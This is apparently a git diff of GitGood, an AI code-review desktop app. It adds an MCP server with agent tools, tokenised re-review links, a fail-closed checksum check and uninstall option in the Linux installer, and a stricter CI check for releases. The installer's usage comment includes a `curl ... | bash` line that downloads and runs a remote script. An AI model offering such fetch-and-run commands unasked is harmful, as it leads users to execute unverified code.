"sha512-0/BnGCCfyUMkBpeDgWihanIAF9JmZhHBgUhEqzvf+adhNGLoP6TaiI5oF8oyb3I45P+PcnrqihSf01M0l0G5+Q==", "license": "MIT" }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/lodash": { "version": "4.18.1", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", @@ -4324,6 +5179,13 @@ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" } }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true, + "license": "MIT" + }, "node_modules/node-abi": { "version": "4.35.0", "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-4.35.0.tgz", @@ -4538,6 +5400,24 @@ "wrappy": "1" } }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, "node_modules/p-cancelable": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", @@ -4564,6 +5444,32 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", @@ -4724,6 +5630,16 @@ "node": "^12.20.0 || >=14" } }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, "node_modules/proc-log": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/proc-log/-/proc-log-6.1.0.tgz", @@ -4788,6 +5704,16 @@ "once": "^1.3.1" } }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, "node_modules/pvtsutils": { "version": "1.3.6", "resolved": "https://registry.npmjs.org/pvtsutils/-/pvtsutils-1.3.6.tgz", @@ -4808,6 +5734,26 @@ "node": ">=16.0.0" } }, + "node_modules/qified": { + "version": "0.10.1", + "resolved": "https://registry.npmjs.org/qified/-/qified-0.10.1.tgz", + "integrity": "sha512-+Owyggi9IxT1ePKGafcI87ubSmxol6smwJ+RAHDQlx9+9cPwFWDiKFFCPuWhr9ignlGpZ9vDQLw67N4dcTVFEA==", + "dev": true, + "license": "MIT", + "dependencies": { + "hookified": "^2.1.1" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/qified/node_modules/hookified": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/hookified/-/hookified-2.2.0.tgz", + "integrity": "sha512-p/LgFzRN5FeoD3DLS6bkUapeye6E4SI6yJs6KetENd18S+FBthqYq2amJUWpt5z0EQwwHemidjY5OqJGEKm5uA==", + "dev": true, + "license": "MIT" + }, "node_modules/quick-lru": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", @@ -5448,6 +6394,19 @@ "integrity": "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==", "license": "MIT" }, + "node_modules/ts-api-utils": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", + "integrity": "sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.12" + }, + "peerDependencies": { + "typescript": ">=4.8.4" + } + }, "node_modules/tslib": { "version": "2.8.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", @@ -5455,6 +6414,19 @@ "dev": true, "license": "0BSD" }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, "node_modules/type-fest": { "version": "0.13.1", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", @@ -5570,6 +6542,16 @@ "browserslist": ">= 4.21.0" } }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, "node_modules/utf8-byte-length": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/utf8-byte-length/-/utf8-byte-length-1.0.5.tgz", @@ -6283,6 +7265,16 @@ "node": ">=8" } }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/wrap-ansi": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", @@ -6376,6 +7368,29 @@ "funding": { "url": "https://github.com/sponsors/sindresorhus" } + }, + "node_modules/zod": { + "version": "4.6.5", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.6.5.tgz", + "integrity": "sha512-v5l/aFXZQeai4awLbOpSoHecE9UiMrnfx75tEXLjNonXVARxQ5mOeipTjROUchszUNCqnE+hqAMujRsRHsut2Q==", + "devOptional": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, + "node_modules/zod-validation-error": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/zod-validation-error/-/zod-validation-error-4.0.2.tgz", + "integrity": "sha512-Q6/nZLe6jxuU80qb/4uJ4t5v2VEZ44lzQjPDhYJNztRQ4wyWc6VF3D3Kb/fAuPetZQnhS3hnajCf9CsWesghLQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.0.0" + }, + "peerDependencies": { + "zod": "^3.25.0 || ^4.0.0" + } } } } diff --git a/package.json b/package.json index 9c7d2d8..8651628 100644 --- a/package.json +++ b/package.json @@ -6,12 +6,17 @@ "author": "Erwin Wee", "license": "MIT", "private": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, "homepage": "https://github.com/erwin-wee/gitgood", "scripts": { "dev": "electron-vite dev", - "build": "electron-vite build && npm run build:server", + "build": "electron-vite build && npm run build:server && npm run build:mcp", "build:server": "vite build --config vite.server.config.ts", + "build:mcp": "vite build --config vite.mcp.config.ts", "start:server": "node out/server/index.mjs", + "start:mcp": "node out/mcp/index.mjs", "install:service": "node scripts/install-service.mjs", "preview": "electron-vite preview", "start": "electron-vite preview", @@ -21,8 +26,8 @@ "test:unit": "vitest run --project unit", "test:fixture": "vitest run --project fixture", "test:smoke": "node scripts/smoke.mjs", - "lint": "npm run typecheck", - "dist:win": "npm run build && electron-builder --win --x64", + "lint": "eslint . && npm run typecheck", + "dist:win": "npm run build && electron-builder --win", "dist:linux": "npm run build && electron-builder --linux", "dist:mac": "npm run build && electron-builder --mac", "postinstall": "electron-builder install-app-deps", @@ -30,7 +35,7 @@ "release:tag": "node scripts/release.mjs tag" }, "dependencies": { - "@anthropic-ai/sdk": "^0.126.0", + "@anthropic-ai/sdk": "^0.131.0", "electron-updater": "6.8.9", "highlight.js": "^11.12.0", "react": "^19.3.0", @@ -40,10 +45,13 @@ "@types/node": "^24.0.0", "@types/react": "^19.3.0", "@types/react-dom": "^19.3.0", + "@typescript-eslint/parser": "^8.71.0", "@vitejs/plugin-react": "^5.1.0", - "electron": "^44.4.1", + "electron": "^44.5.1", "electron-builder": "^26.15.3", "electron-vite": "^5.0.0", + "eslint": "^10.11.0", + "eslint-plugin-react-hooks": "^7.1.1", "typescript": "^5.9.0", "vite": "^7.3.0", "vitest": "^5.0.1" diff --git a/plugin/.mcp.json b/plugin/.mcp.json new file mode 100644 index 0000000..5c69ef8 --- /dev/null +++ b/plugin/.mcp.json @@ -0,0 +1,9 @@ +{ + "mcpServers": { + "gitgood": { + "command": "gitgood", + "args": ["-e", "import(require('node:url').pathToFileURL(require('node:path').join(process.resourcesPath,'app.asar','out','mcp','index.mjs')).href)", "--", "--no-sandbox"], + "env": { "ELECTRON_RUN_AS_NODE": "1" } + } + } +} diff --git a/plugin/README.md b/plugin/README.md index a941de4..d31f944 100644 --- a/plugin/README.md +++ b/plugin/README.md @@ -8,6 +8,7 @@ Lets a terminal coding agent fix the AI review findings that [GitGood](https://g | `commands/gitgood-review.md` | Claude Code and omp (`/gitgood-review`) | | `hooks/hooks.json` + `hooks/session-start.sh` | Claude Code and Codex (one-line reminder when a repository has open findings) | | `hooks/pre/session-start.ts` | omp (same reminder) | +| `.mcp.json` | Claude Code and omp (the GitGood MCP server, see [MCP server](#mcp-server)) | | `.claude-plugin/plugin.json`, `plugin.json`, `package.json` | Claude Code, Codex, omp manifests | GitGood writes the findings to `/gitgood/review/latest.json` and `latest.md` after every review, so the plugin needs no server, CLI or network access. The **Fix with agent** button in GitGood opens your terminal with the agent already pointed at `latest.md`; the plugin adds discovery (the session-start reminder) and the slash command on top. @@ -37,6 +38,33 @@ The exported `latest.md` starts with the same instructions as the skill, so any ## Re-review -After a **pre-commit** review the agent finishes by opening `gitgood://review/rerun?repo=` (the exact command is in `latest.json` under `rerun.command`). GitGood, if running with that repository in its list, re-runs the review over the working tree and rewrites `latest.json` with a new `runId` whose `previousRunId` points at the run the agent worked from. +After a **pre-commit** review the agent finishes by opening `gitgood://review/rerun?repo=&token=` (the exact command is in `latest.json` under `rerun.command`). GitGood, if running with that repository in its list, re-runs the review (a link without a valid, unspent token first asks the user to confirm the repository and files) over the working tree and rewrites `latest.json` with a new `runId` whose `previousRunId` points at the run the agent worked from. After a **pull request or branch** review, `rerun` is `null` and the agent stops instead: those reviews read committed history, so they cannot see edits still in the working tree. Commit the agent's changes in GitGood and press Re-review. + +## MCP server + +GitGood ships a small [MCP](https://modelcontextprotocol.io) server (stdio, no dependencies, source in `src/mcp`, built to `out/mcp/index.mjs`) so an agent can use the handoff as tools instead of reading files and running `xdg-open`: + +| Tool | Does | +| --- | --- | +| `gitgood_latest_review` (`repoPath`) | The open findings of the latest export (file, line, severity, title, message, suggestion) plus the re-review link. Read-only. | +| `gitgood_request_rereview` (`repoPath`) | Opens the export's single-use `gitgood://review/rerun` link so GitGood re-reviews the working tree. Fails when the latest review has no link (pull request and branch reviews). | +| `gitgood_open_repository` (`path`) | Opens the repository in GitGood (starts the app, or hands the folder to the running one). | + +`repoPath` may be any folder inside the repository or a linked worktree; the export is looked up in that checkout's own git directory, as the app does. + +**Plugin.** `.mcp.json` registers the server for Claude Code and omp when the plugin is installed. It starts the installed app's own runtime in Node mode (`ELECTRON_RUN_AS_NODE=1 gitgood -e `), so it needs the `gitgood` command on `PATH` (the Linux installer creates it). On macOS use `/Applications/GitGood.app/Contents/MacOS/GitGood`, on Windows `%LOCALAPPDATA%\Programs\GitGood\GitGood.exe`, as `command` in your own copy of the entry (below). + +**Any MCP client, installed app.** Same command and environment as `.mcp.json`. Codex (`~/.codex/config.toml`): + +```toml +[mcp_servers.gitgood] +command = "gitgood" +args = ["-e", "import(require('node:url').pathToFileURL(require('node:path').join(process.resourcesPath,'app.asar','out','mcp','index.mjs')).href)", "--", "--no-sandbox"] +env = { ELECTRON_RUN_AS_NODE = "1" } +``` + +omp (`~/.omp/agent/mcp.json`, or `.omp/mcp.json` per project) takes the `mcpServers` entry from `.mcp.json` unchanged. + +**From a checkout.** `npm run build` (or just `npm run build:mcp`), then point the client at `node /path/to/gitgood/out/mcp/index.mjs`, e.g. `claude mcp add gitgood -- node /path/to/gitgood/out/mcp/index.mjs`. `gitgood_open_repository` then needs a GitGood executable to start: put `gitgood` on `PATH` or set `GITGOOD_APP` to the executable (a running GitGood must have been started from that same build for the folder to land in it). diff --git a/plugin/skills/gitgood-review/SKILL.md b/plugin/skills/gitgood-review/SKILL.md index 72831eb..7eb624c 100644 --- a/plugin/skills/gitgood-review/SKILL.md +++ b/plugin/skills/gitgood-review/SKILL.md @@ -38,7 +38,7 @@ If `latest.json` is missing, tell the user that GitGood has not exported a revie "confidence": "high" | "medium" | "low", "dismissed": false // true = the user dismissed it; skip these }], - "rerun": { "url": "gitgood://review/rerun?repo=…", "command": "xdg-open '…'" } // null for a pull request or branch review + "rerun": { "url": "gitgood://review/rerun?repo=…&token=…", "command": "xdg-open '…'" } // null for a pull request or branch review } ``` @@ -54,7 +54,7 @@ Findings are already sorted blocker → warning → nit, then by path and line. - Keep edits minimal and scoped to the finding. 4. **Do not commit, stage, stash, amend, rebase or push.** The user commits from GitGood. Read-only git commands are fine. 5. What to do when you are done depends on `rerun`: - - **`rerun` is an object** (a pre-commit review, `target.kind` is `worktree`): run the command in `rerun.command`. It opens the `gitgood://review/rerun?repo=…` URL — `xdg-open` on Linux, `open` on macOS, `Start-Process` in PowerShell, `start "" ""` in Command Prompt. GitGood must be running with this repository in its list; if the command errors or nothing happens within a few seconds, tell the user to press Re-review in GitGood. + - **`rerun` is an object** (a pre-commit review, `target.kind` is `worktree`): run the command in `rerun.command`. It opens the `gitgood://review/rerun?repo=…&token=…` URL (run the command exactly as written; the token is single-use and GitGood asks the user to confirm when it is missing or already spent) — `xdg-open` on Linux, `open` on macOS, `Start-Process` in PowerShell, `start "" ""` in Command Prompt. GitGood must be running with this repository in its list; if the command errors or nothing happens within a few seconds, tell the user to press Re-review in GitGood. - **`rerun` is null** (a pull request or branch review): do **not** try to trigger a re-review. That review reads committed history, so it would report the same findings however much you fixed. List what you changed per finding and tell the user to commit in GitGood and press Re-review. You are done. 6. After triggering a re-review, poll `latest.json` every few seconds for up to two minutes, until `runId` differs from the one you started with and `finishedAt` is not null. 7. **Re-read `latest.json`.** Finding ids are not stable across runs, so compare by `path` and `title`, not by `id`. Report which of the original findings are gone, which remain (and why, if you skipped them), and anything new the re-review raised. If the new run's `target` differs from the one you started with (for example GitGood ran a pull request review in between), say so instead of comparing. diff --git a/scripts/install-linux.sh b/scripts/install-linux.sh index dc4eb74..7655256 100755 --- a/scripts/install-linux.sh +++ b/scripts/install-linux.sh @@ -6,7 +6,8 @@ # # Usage: # curl -fsSL https://raw.githubusercontent.com/erwin-wee/gitgood/main/scripts/install-linux.sh | bash -# ./install-linux.sh [--version vX.Y.Z] [--prefix DIR] [--no-prereqs] [-y|--yes] [-h|--help] +# ./install-linux.sh [--version vX.Y.Z] [--prefix DIR] [--no-prereqs] [-y|--yes] [--insecure-skip-verify] [-h|--help] +# ./install-linux.sh --uninstall [--prefix DIR] set -euo pipefail @@ -17,6 +18,8 @@ DESKTOP_DIR="$HOME/.local/share/applications" GITGOOD_VERSION="" INSTALL_PREREQS=1 ASSUME_YES=0 +SKIP_VERIFY=0 +UNINSTALL=0 # Piped via `curl ... | bash`: stdin is the script itself, so there is no # terminal to prompt on. Default to non-interactive in that case. if [ ! -t 0 ]; then ASSUME_YES=1; fi @@ -33,6 +36,11 @@ Usage: install-linux.sh [options] --prefix DIR Install under DIR instead of ~/.local/share/GitGood --no-prereqs Skip installing git/gh/the AppImage runtime dependency -y, --yes Don't prompt before installing packages with sudo + --insecure-skip-verify + Install even if the download's SHA-512 cannot be checked + against the release's latest-linux.yml (default: refuse) + --uninstall Remove the AppImage, the `gitgood` command and the menu + entry this script installed (user settings are kept) -h, --help Show this help EOF } @@ -43,6 +51,8 @@ while [ $# -gt 0 ]; do --prefix) PREFIX="$2"; shift 2 ;; --no-prereqs) INSTALL_PREREQS=0; shift ;; -y|--yes) ASSUME_YES=1; shift ;; + --insecure-skip-verify) SKIP_VERIFY=1; shift ;; + --uninstall) UNINSTALL=1; shift ;; -h|--help) usage; exit 0 ;; *) die "unknown option: $1 (see --help)" ;; esac @@ -50,6 +60,17 @@ done [ "$(uname -s)" = "Linux" ] || die "this script only supports Linux" +if [ "$UNINSTALL" -eq 1 ]; then + INSTALLED_PATH="$PREFIX/GitGood.AppImage" + # Only remove the command if it is the symlink this script made. + if [ "$(readlink "$BIN_DIR/gitgood" 2>/dev/null)" = "$INSTALLED_PATH" ]; then rm -f "$BIN_DIR/gitgood"; fi + rm -f "$INSTALLED_PATH" "$DESKTOP_DIR/gitgood.desktop" + rmdir "$PREFIX" 2>/dev/null || true + command -v update-desktop-database >/dev/null 2>&1 && update-desktop-database "$DESKTOP_DIR" >/dev/null 2>&1 || true + log "Removed GitGood from $PREFIX (settings in ~/.config/GitGood and installed git/gh packages were left alone)." + exit 0 +fi + DOWNLOADER="" if command -v curl >/dev/null 2>&1; then DOWNLOADER="curl" elif command -v wget >/dev/null 2>&1; then DOWNLOADER="wget" @@ -200,27 +221,48 @@ WORKDIR="$(mktemp -d)" trap 'rm -rf "$WORKDIR"' EXIT fetch_to_file "$APPIMAGE_URL" "$WORKDIR/$APPIMAGE_NAME" -# Best-effort integrity check against electron-builder's own manifest; a -# missing yml, an unparseable one, or no openssl just skips verification -# rather than failing the install outright. -if [ -n "$YML_URL" ] && command -v openssl >/dev/null 2>&1; then - if fetch_to_file "$YML_URL" "$WORKDIR/latest-linux.yml" 2>/dev/null; then - EXPECTED_SHA512="$(grep -E '^sha512:' "$WORKDIR/latest-linux.yml" | tail -1 | sed -E "s/^sha512:[[:space:]]*['\"]?([^'\"]+)['\"]?\$/\1/")" - if [ -n "$EXPECTED_SHA512" ]; then - ACTUAL_SHA512="$(openssl dgst -sha512 -binary "$WORKDIR/$APPIMAGE_NAME" | openssl base64 -A)" - if [ "$EXPECTED_SHA512" = "$ACTUAL_SHA512" ]; then - log "Checksum verified against $TAG_NAME's latest-linux.yml." - else - die "checksum mismatch for $APPIMAGE_NAME — refusing to install a corrupted or tampered download" - fi - else - warn "could not parse a sha512 from latest-linux.yml; skipping checksum verification" - fi - else - warn "could not download latest-linux.yml; skipping checksum verification" +# Integrity check against electron-builder's manifest (the sha512 of this exact +# file in latest-linux.yml). Fails closed: if it cannot be verified the install +# stops, unless --insecure-skip-verify was passed. +unverified() { # unverified REASON + if [ "$SKIP_VERIFY" -eq 1 ]; then warn "$1; installing unverified (--insecure-skip-verify)" + else die "$1 — refusing to install an unverified download (re-run with --insecure-skip-verify to override)" fi +} + +# Digests are compared as hex: coreutils sha512sum/base64/od, or openssl if those are missing. +sha512_hex() { # sha512_hex FILE + if command -v sha512sum >/dev/null 2>&1; then sha512sum "$1" | cut -d' ' -f1 + elif command -v openssl >/dev/null 2>&1; then openssl dgst -sha512 -r "$1" | cut -d' ' -f1 + else return 1 + fi +} + +base64_to_hex() { # base64_to_hex STRING + if command -v base64 >/dev/null 2>&1; then printf '%s' "$1" | base64 -d | od -An -vtx1 | tr -d ' \n' + elif command -v openssl >/dev/null 2>&1; then printf '%s' "$1" | openssl base64 -d -A | od -An -vtx1 | tr -d ' \n' + else return 1 + fi +} + +if [ -z "$YML_URL" ]; then + unverified "release $TAG_NAME has no latest-linux.yml" +elif ! fetch_to_file "$YML_URL" "$WORKDIR/latest-linux.yml" 2>/dev/null; then + unverified "could not download latest-linux.yml" else - warn "openssl not found or no manifest available; skipping checksum verification" + # The manifest lists every file ("- url: NAME" then "sha512: DIGEST"); match ours by name. + EXPECTED_SHA512="$(awk -v n="$APPIMAGE_NAME" ' + $1 == "-" && $2 == "url:" { u = $3; gsub(/["'"'"']/, "", u); hit = (u == n) } + hit && $1 == "sha512:" { v = $2; gsub(/["'"'"']/, "", v); print v; exit }' "$WORKDIR/latest-linux.yml")" + if [ -z "$EXPECTED_SHA512" ]; then + unverified "latest-linux.yml has no sha512 for $APPIMAGE_NAME" + elif ! ACTUAL_SHA512="$(sha512_hex "$WORKDIR/$APPIMAGE_NAME")" || ! EXPECTED_HEX="$(base64_to_hex "$EXPECTED_SHA512")"; then + unverified "could not compute or decode the sha512 (need sha512sum+base64 or openssl)" + elif [ -n "$EXPECTED_HEX" ] && [ "$EXPECTED_HEX" = "$ACTUAL_SHA512" ]; then + log "Checksum verified against $TAG_NAME's latest-linux.yml." + else + die "checksum mismatch for $APPIMAGE_NAME — refusing to install a corrupted or tampered download" + fi fi # --------------------------------------------------------------------------- diff --git a/scripts/install-service.mjs b/scripts/install-service.mjs index 145eb45..f9311e8 100755 --- a/scripts/install-service.mjs +++ b/scripts/install-service.mjs @@ -7,6 +7,11 @@ import { homedir } from 'node:os'; import { dirname, join, resolve } from 'node:path'; import { fileURLToPath } from 'node:url'; +if (process.platform !== 'linux') { + console.error('npm run install:service installs a systemd user service (Linux only). On macOS/Windows use File → Run GitGood server in the background… in the packaged app, or run "npm run start:server".'); + process.exit(1); +} + const root = resolve(dirname(fileURLToPath(import.meta.url)), '..'); const entry = join(root, 'out', 'server', 'index.mjs'); if (!existsSync(entry)) { diff --git a/scripts/release.mjs b/scripts/release.mjs index 6852aca..df85e2a 100755 --- a/scripts/release.mjs +++ b/scripts/release.mjs @@ -12,7 +12,8 @@ * * Flags: * --yes skip the confirmation prompt (required when not on a TTY) - * --no-verify skip the "is CI green on main" check in tag mode + * --skip-ci-check skip the "is CI green on main" check in tag mode. Without it the + * check is mandatory: if gh cannot answer, the tag is refused. */ import { execFileSync } from 'node:child_process'; import { createInterface } from 'node:readline/promises'; @@ -100,19 +101,19 @@ async function prepare(version, { yes }) { /** The workflow only typechecks, so a red Test run on main would otherwise reach a release unnoticed. */ function requireGreenCi() { + const skip = 'or pass --skip-ci-check to tag without it.'; let runs; try { runs = JSON.parse(run('gh', ['run', 'list', '--branch', 'main', '--workflow', 'Test', '--limit', '1', '--json', 'conclusion,status,headSha,url'])); } catch { - log('could not reach gh to check CI — skipping that check.'); - return; + fail('Could not check CI: `gh run list` failed.', `Install and authenticate gh (\`gh auth login\`), ${skip}`); } const [latest] = runs; - if (!latest) return log('no Test run found for main — skipping that check.'); + if (!latest) fail('No Test run found for main.', `Wait for CI to start, ${skip}`); const head = git('rev-parse', 'HEAD'); - if (latest.headSha !== head) log(`warning: the latest Test run is for ${latest.headSha.slice(0, 7)}, not HEAD.`); - if (latest.status !== 'completed') fail(`The Test run on main is still ${latest.status}.`, `${latest.url} — wait for it, or pass --no-verify.`); - if (latest.conclusion !== 'success') fail(`The Test run on main concluded "${latest.conclusion}".`, `${latest.url} — fix it, or pass --no-verify.`); + if (latest.headSha !== head) fail(`The latest Test run is for ${latest.headSha.slice(0, 7)}, not HEAD (${head.slice(0, 7)}).`, `${latest.url} — wait for the run on HEAD, ${skip}`); + if (latest.status !== 'completed') fail(`The Test run on main is still ${latest.status}.`, `${latest.url} — wait for it, ${skip}`); + if (latest.conclusion !== 'success') fail(`The Test run on main concluded "${latest.conclusion}".`, `${latest.url} — fix it, ${skip}`); } async function tag({ yes, verify }) { @@ -143,9 +144,9 @@ async function tag({ yes, verify }) { } const [mode, ...rest] = process.argv.slice(2); -const flags = { yes: rest.includes('--yes'), verify: !rest.includes('--no-verify') }; +const flags = { yes: rest.includes('--yes'), verify: !rest.includes('--skip-ci-check') }; const positional = rest.filter((a) => !a.startsWith('--')); if (mode === 'prepare') await prepare(positional[0] ?? fail('Usage: node scripts/release.mjs prepare '), flags); else if (mode === 'tag') await tag(flags); -else fail('Usage: node scripts/release.mjs |tag> [--yes] [--no-verify]'); +else fail('Usage: node scripts/release.mjs |tag> [--yes] [--skip-ci-check]'); diff --git a/scripts/smoke.mjs b/scripts/smoke.mjs index 089ea99..2231b01 100644 --- a/scripts/smoke.mjs +++ b/scripts/smoke.mjs @@ -59,6 +59,7 @@ function makeRepo(workRoot) { run(['init', '-q', '-b', 'main', repoPath], root); run(['config', 'user.name', 'Test User']); run(['config', 'user.email', 'test@example.com']); + run(['config', 'core.autocrlf', 'false']); run(['config', 'commit.gpgsign', 'false']); let n = 0; const commit = (message, files = {}) => { @@ -473,6 +474,10 @@ async function runElectron(electronPath, cwd, env, timeoutMs) { child.kill('SIGKILL'); resolvePromise({ timedOut: true, code: null, stdout, stderr }); }, timeoutMs); + child.on('error', (err) => { + clearTimeout(timer); + resolvePromise({ timedOut: false, code: null, stdout, stderr: `${stderr}${err.message}` }); + }); child.on('close', (code) => { clearTimeout(timer); resolvePromise({ timedOut: false, code, stdout, stderr }); @@ -491,7 +496,11 @@ async function runScenario(scenarioFile, electronPath) { // (`git rev-parse --show-toplevel` resolves symlinks, as does the watched-folder // scanner), so an un-resolved fixture root would never match what a scenario // reads back. Every fixture path below is derived from this root. - const workRoot = realpathSync(mkdtempSync(join(tmpdir(), `gg-smoke-${name}-`))); + // macOS' per-user tmpdir is ~50 bytes deep and the fixture's gpg homedir sits + // below it; gpg's agent/keyboxd sockets then exceed the ~104-byte unix socket path limit. + const smokeRoot = mkdtempSync(join(process.platform === 'darwin' ? '/tmp' : tmpdir(), `gg-smoke-${name}-`)); + // Match repository discovery, including Windows 8.3 aliases and macOS /tmp. + const workRoot = realpathSync.native(smokeRoot); const userData = join(workRoot, 'userdata'); mkdirSync(userData, { recursive: true }); @@ -595,14 +604,20 @@ async function runScenario(scenarioFile, electronPath) { if (existsSync(logsDir)) cpSync(logsDir, join(outDir, 'logs'), { recursive: true }); } - rmSync(workRoot, { recursive: true, force: true }); + try { + rmSync(workRoot, { recursive: true, force: true, maxRetries: 5, retryDelay: 200 }); + } catch (err) { + // Windows gpg-agent can retain a temporary keyring briefly; the runner deletes its temp directory. + if (process.platform !== 'win32') throw err; + } return { name, ok: failures.length === 0, failures, outDir }; } async function main() { if (!process.env.GITGOOD_SMOKE_SKIP_BUILD) { log('building (electron-vite build)…'); - execFileSync(join(ROOT, 'node_modules', '.bin', 'electron-vite'), ['build'], { cwd: ROOT, stdio: 'inherit' }); + // Via node: on Windows .bin/electron-vite is a .cmd shim, which execFileSync cannot spawn. + execFileSync(process.execPath, [join(ROOT, 'node_modules', 'electron-vite', 'bin', 'electron-vite.js'), 'build'], { cwd: ROOT, stdio: 'inherit' }); } else { log('skipping build (GITGOOD_SMOKE_SKIP_BUILD set)'); } diff --git a/src/main/ai/backends.ts b/src/main/ai/backends.ts index 6885e81..12808cd 100644 --- a/src/main/ai/backends.ts +++ b/src/main/ai/backends.ts @@ -1,12 +1,15 @@ import Anthropic from 